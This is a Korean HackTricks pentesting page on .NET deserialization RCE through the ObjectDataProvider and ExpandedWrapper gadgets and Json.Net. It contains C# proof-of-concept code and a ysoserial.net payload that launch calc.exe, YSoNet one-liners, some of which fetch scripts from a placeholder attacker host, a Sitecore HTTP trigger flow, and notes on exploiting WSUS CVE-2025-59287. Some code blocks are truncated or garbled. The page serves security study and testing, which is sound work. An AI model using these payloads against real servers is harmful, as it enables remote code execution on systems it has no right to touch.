기본 .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
이 글은 gadget ObjectDataProvider가 어떻게 악용되어 RCE를 얻는지와 Serialization 라이브러리 Json.Net 및 xmlSerializer가 해당 gadget으로 어떻게 악용될 수 있는지를 이해하는 데 전념합니다.
ObjectDataProvider Gadget
문서에 따르면: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
설명이 다소 애매하니, 이 클래스가 왜 흥미로운지 살펴보자: 이 클래스는 **임의의 object를 래핑(wrap)**하고, _MethodParameters_를 사용해 임의의 파라미터를 설정한 다음, MethodName을 사용해 해당 임의 객체의 임의 함수(위에서 설정한 파라미터로)를 호출할 수 있다.
따라서, 역직렬화되는 동안 해당 임의의 object가 parameters를 가진 함수를 실행하게 된다.
이건 어떻게 가능한가
System.Windows.Data 네임스페이스는 PresentationFramework.dll의 C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF에 위치하며, ObjectDataProvider가 정의되고 구현된 곳이다.
dnSpy를 사용하면 우리가 관심 있는 클래스의 코드를 inspect할 수 있다. 아래 이미지에서는 PresentationFramework.dll –> System.Windows.Data –> ObjectDataProvider –> Method name의 코드를 보고 있다.
.png)
보시다시피 MethodName이 설정되면 base.Refresh()가 호출된다. 이것이 무엇을 하는지 살펴보자:
.png)
자, 계속해서 this.BeginQuery()가 무엇을 하는지 보자. BeginQuery는 ObjectDataProvider에 의해 오버라이드되어 있으며 다음과 같다:
.png)
코드 끝부분에서 this.QueryWorke(null)를 호출하는 것을 볼 수 있다. 그게 무엇을 실행하는지 보자:
.png)
이것은 QueryWorker 함수 전체 코드는 아니지만 흥미로운 부분을 보여준다: 코드가 this.InvokeMethodOnInstance(out ex);를 호출한다; 이 라인이 바로 설정된 method가 호출되는 부분이다.
만약 단순히 _MethodName_를 설정하는 것만으로 그것이 실행되는지 확인하고 싶다면, 다음 코드를 실행해 볼 수 있다:
C# demo: ObjectDataProvider triggers Process.Start
```csharp using System.Windows.Data; using System.Diagnostics;namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ObjectDataProvider myODP = new ObjectDataProvider(); myODP.ObjectType = typeof(Process); myODP.MethodParameters.Add(“cmd.exe”); myODP.MethodParameters.Add(“/c calc.exe”); myODP.MethodName = “Start”; } } }
</details>
참고: `System.Windows.Data`를 로드하려면 참조로 _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ 를 추가해야 합니다.
## ExpandedWrapper
이전 익스플로잇을 사용할 때, 특정 경우에는 **객체(object)**가 _**ObjectDataProvider**_ 인스턴스로 **역직렬화되는(deserialized as)** 경우가 있습니다(예: DotNetNuke vuln에서 XmlSerializer를 사용해 객체가 `GetType`으로 역직렬화된 경우). 이 경우 _ObjectDataProvider_ 인스턴스에 감싸진 객체 타입(예: `Process`)을 **알 수 없습니다**. DotNetNuke vuln에 대한 자세한 정보는 [여기](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)에서 확인할 수 있습니다.
이 클래스는 주어진 인스턴스에 캡슐화된 객체들의 타입을 **지정할 수 있게 해줍니다**. 따라서 이 클래스는 소스 객체(_ObjectDataProvider_)를 새로운 객체 타입으로 캡슐화하고 우리가 필요한 속성(_ObjectDataProvider.MethodName_ 및 _ObjectDataProvider.MethodParameters_)을 제공하는 데 사용될 수 있습니다.
앞서 제시한 사례들에서 매우 유용한데, _ObjectDataProvider_를 **_ExpandedWrapper_** 인스턴스 안에 래핑하면 역직렬화될 때 이 클래스가 _ObjectDataProvider_ 객체를 **생성**하여 _MethodName_에 지정된 **함수(function)**를 **실행**하게 됩니다.
다음 코드를 통해 이 래퍼를 확인할 수 있습니다:
<details>
<summary>C# 데모: ExpandedWrapper가 ObjectDataProvider를 캡슐화하는 예</summary>
```csharp
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
In the official web page it is indicated that this library allows to Json.NET의 강력한 JSON serializer로 모든 .NET 객체를 직렬화(Serialize)하고 역직렬화(Deserialize)할 수 있다. So, if we could deserialize the ObjectDataProvider gadget, we could cause a RCE just deserializing an object.
Json.Net 예제
First of all lets see an example on how to 직렬화/역직렬화 an object using this library:
C# 데모: Json.NET 직렬화/역직렬화
```csharp using System; using Newtonsoft.Json; using System.Diagnostics; using System.Collections.Generic;namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject
</details>
### Json.Net 악용
[ysoserial.net](https://github.com/pwntester/ysoserial.net)을 사용하여 exploit를 만들었습니다:
```text
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
이 코드에서는 test the exploit를 실행해 볼 수 있습니다. 그냥 실행하면 calc가 실행되는 것을 볼 수 있습니다:
C# demo: Json.NET ObjectDataProvider exploitation PoC
```csharp using System; using System.Text; using Newtonsoft.Json;namespace DeserializationTests { class Program { static void Main(string[] args) { //Declare exploit string userdata = @“{ ‘$type’:‘System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35’, ‘MethodName’:‘Start’, ‘MethodParameters’:{ ‘$type’:‘System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’, ‘$values’:[‘cmd’, ‘/c calc.exe’] }, ‘ObjectInstance’:{‘$type’:‘System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’} }”; //Exploit to base64 string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64 byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64); //Deserialize data string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64); object obj = JsonConvert.DeserializeObject
</details>
## 고급 .NET Gadget Chains (YSoNet & ysoserial.net)
ObjectDataProvider + ExpandedWrapper 기법은 앞에서 소개한 많은 gadget chain 중 하나에 불과하며, 애플리케이션이 **안전하지 않은 .NET 역직렬화(unsafe .NET deserialization)** 를 수행할 때 악용될 수 있다. 현대의 레드팀 도구들인 **[YSoNet](https://github.com/irsdl/ysonet)** (구형인 [ysoserial.net](https://github.com/pwntester/ysoserial.net) 포함)는 수십 개의 gadget 및 직렬화 포맷에 대해 **바로 사용 가능한 악성 객체 그래프**를 자동으로 생성한다.
아래는 *YSoNet*에 포함된 가장 유용한 체인들을 간추려 정리한 참고표로, 작동 원리의 간단한 설명과 페이로드 생성 예제 명령을 함께 보여준다.
| Gadget 체인 | 핵심 아이디어 / 프리미티브 | 일반적인 직렬화기 | YSoNet 원라이너 |
|--------------|----------------------------|--------------------|------------------|
| **TypeConfuseDelegate** | `DelegateSerializationHolder` 레코드를 변조하여, 인스턴스화되면 delegate가 공격자가 제공한 어떤 메서드(예: `Process.Start`)를 가리키도록 한다 | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector`를 악용하여 *.NET ≥4.8 타입 필터링을 우회*하고 제공된 클래스의 **생성자**를 직접 호출하거나 C# 파일을 즉석에서 **컴파일**한다 | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | `System.Data.DataSet`의 **레거시 XML** 표현을 이용해 `<ColumnMapping>` / `<DataType>` 필드를 채워 임의 타입을 인스턴스화한다(선택적으로 `--spoofedAssembly`로 어셈블리를 위조 가능) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | WPF가 활성화된 런타임(> .NET 5)에서 프로퍼티 getter를 연쇄해 `System.CodeDom.Compiler.CompilerResults`에 도달한 뒤, `-c`로 제공된 DLL을 *컴파일*하거나 *로드*한다 | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | WPF의 `System.Windows.Data.ObjectDataProvider`를 사용해 제어된 인수로 임의의 정적 메서드를 호출한다. YSoNet은 악성 XAML을 원격 호스팅할 수 있는 편리한 `--xamlurl` 변형을 추가한다 | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | PowerShell이 객체를 역직렬화할 때 실행되는 `ScriptBlock`을 `System.Management.Automation.PSObject`에 삽입한다 | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> 모든 페이로드는 기본적으로 **stdout**으로 출력되므로, ViewState 생성기, base64 인코더, HTTP 클라이언트 등 다른 도구로 파이프하는 것이 매우 쉽다.
### YSoNet 빌드 / 설치
사전 컴파일된 바이너리가 *Actions ➜ Artifacts* / *Releases*에 없다면, 다음 **PowerShell** 원라이너가 빌드 환경을 설정하고 리포지토리를 클론한 뒤 Release 모드로 모든 것을 컴파일한다:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
컴파일된 ysonet.exe는 ysonet/bin/Release/ 경로에서 찾을 수 있습니다.
실제 sink: Sitecore convertToRuntimeHtml → BinaryFormatter
인증된 Sitecore XP Content Editor 흐름에서 접근 가능한 실용적인 .NET sink:
- Sink API:
Sitecore.Convert.Base64ToObject(string)wrapsnew BinaryFormatter().Deserialize(...). - 트리거 경로: 파이프라인
convertToRuntimeHtml→ConvertWebControls는id="{iframeId}_inner"인 형제 요소를 찾고value속성을 읽습니다. 이 값은 base64‐encoded serialized data로 처리되며, 결과는 string으로 캐스트되어 HTML에 삽입됩니다.
인증된 Sitecore sink 트리거 HTTP 흐름
```text // Load HTML into EditHtml session POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx Content-Type: application/x-www-form-urlencoded__PARAMETERS=edithtml:fix&…&ctl00$ctl00$ctl05$Html=
// Server returns a handle; visiting FixHtml.aspx?hdl=… triggers deserialization GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=…
</details>
- Gadget: 문자열을 반환하는 BinaryFormatter 체인(역직렬화 동안 부작용이 실행됨). 페이로드 생성은 YSoNet/ysoserial.net 참조.
For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink:
<a class="content_ref" href="../../network-services-pentesting/pentesting-web/sitecore/index.html"><span class="content_ref_label">Sitecore</span></a>
## 사례 연구: WSUS unsafe .NET deserialization (CVE-2025-59287)
- 제품/역할: Windows Server Update Services (WSUS) 역할 — Windows Server 2012 → 2025.
- 공격 표면: IIS에서 호스팅되는 WSUS 엔드포인트(HTTP/HTTPS) TCP 8530/8531 (종종 내부에 노출; 인터넷 노출 시 고위험).
- 근본 원인: 공격자가 제어하는 데이터를 레거시 formatters로 인증 없이 역직렬화함:
- `GetCookie()` 엔드포인트는 `BinaryFormatter`로 `AuthorizationCookie`를 역직렬화합니다.
- `ReportingWebService`는 `SoapFormatter`를 통해 안전하지 않은 역직렬화를 수행합니다.
- 영향: 조작된 직렬화 객체가 역직렬화 중 gadget 체인을 트리거하여, WSUS 서비스(`wsusservice.exe`) 또는 IIS 앱 풀 `wsuspool`(`w3wp.exe`) 중 어느 쪽에서든 `NT AUTHORITY\SYSTEM` 권한으로 임의 코드 실행으로 이어집니다.
Practical exploitation notes
- Discovery: TCP 8530/8531에서 WSUS를 스캔하세요. WSUS 웹 메서드에 도달하는 모든 pre-auth 직렬화된 blob을 `BinaryFormatter`/`SoapFormatter` 페이로드의 잠재적 sink로 간주하세요.
- Payloads: YSoNet/ysoserial.net을 사용해 `BinaryFormatter` 또는 `SoapFormatter` 체인을 생성하세요(예: `TypeConfuseDelegate`, `ActivitySurrogateSelector`, `ObjectDataProvider`).
- Expected process lineage on success:
- `wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exe`
- `w3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe`
## References
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Unit 42 – Microsoft WSUS RCE (CVE-2025-59287) actively exploited](https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/)
- [MSRC – CVE-2025-59287 advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287)
- [NVD – CVE-2025-59287](https://nvd.nist.gov/vuln/detail/CVE-2025-59287)
> [!TIP]
> AWS 해킹 배우기 및 연습하기:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP 해킹 배우기 및 연습하기: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure 해킹 배우기 및 연습하기: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks 지원하기</summary>
>
> - [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
> - **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
>
> </details>
HackTricks

